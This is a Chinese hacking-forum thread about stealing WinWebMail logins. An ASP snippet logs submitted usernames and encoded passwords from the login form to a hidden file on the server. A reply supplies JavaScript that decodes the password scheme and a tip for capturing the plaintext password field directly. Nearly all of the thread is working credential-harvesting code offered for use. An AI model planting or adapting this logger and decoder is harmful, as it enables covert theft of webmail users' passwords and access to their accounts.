我利用网上现有的ASP记录论坛等用户密码的代码。想记录一个winwebmail的用户名和密码。
代码如下
<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile("c:\1.txt",2,True)
file.WriteLine ""
End If
If fso.FileExists("c:\1.txt") Then
set file=fso.OpenTextFile("c:\1.txt",8,True)
Else
set file=fso.CreateTextFile("c:\1.txt")
end if
file.WriteLine "username:"+Request.form("username")
file.WriteLine "pwhidden:"+Request.form("pwhidden")
file.close
set file3=fso.GetFile("c:\1.txt")
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile("c:\1.txt",2,True)
file2.WriteLine ""
file2.close
end if
set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
%>
结果是。记录的用户名部分为正常。密码部分为加密后的密码。
不知道哪位搞过WINWEBMAIL没。如何解决?
--------------------------------------------
解密方法:邪恶八进制 jackal
刚写的解密代码,学习下脚本解密的算法.
其实有简单的方法,只要把登录界面的明文密码放到<form></form>里再截取pwshow就可以了.
Copy code
<SCRIPT LANGUAGE=javascript>
function jm() {
pwhidden.value = encode(pwshow.value, parseInt(picnum.value));
}
function jiem() {
pwshow.value = unencode(pwhidden.value, parseInt(picnum.value));
}
function encode(datastr, bassnum) {
var tempstr;
var tchar;
var newdata = "";
for (var i = 0; i < datastr.length; i++)
{
tchar = 65535 + bassnum - datastr.charCodeAt(i);
tchar = tchar.toString();
//alert(tchar);
while(tchar.length < 5)
{
tchar = "0" + tchar;
}
newdata = newdata + tchar;
}
return newdata;
}
function unencode(datastr, bassnum) {
var tempstr;
var tchar;
var newdata = "";
for (var i = 0; i < datastr.length; i=i+5)
{
tchar = 65535 + bassnum - datastr.substr(i,5);
tempstr = String.fromCharCode(tchar);
newdata = newdata+tempstr;
}
return newdata;
}
//-->
</SCRIPT>
验证码:<input type="text" name="picnum" value="1234">
明文:<input type="text" name="pwshow" maxlength="32" class="textbox">
<input class="Bsbttn" type=submit value=" 加密 " >
<input class="Bsbttn" type=submit value=" 解密 " >
密文:<input type="text" name="pwhidden">
|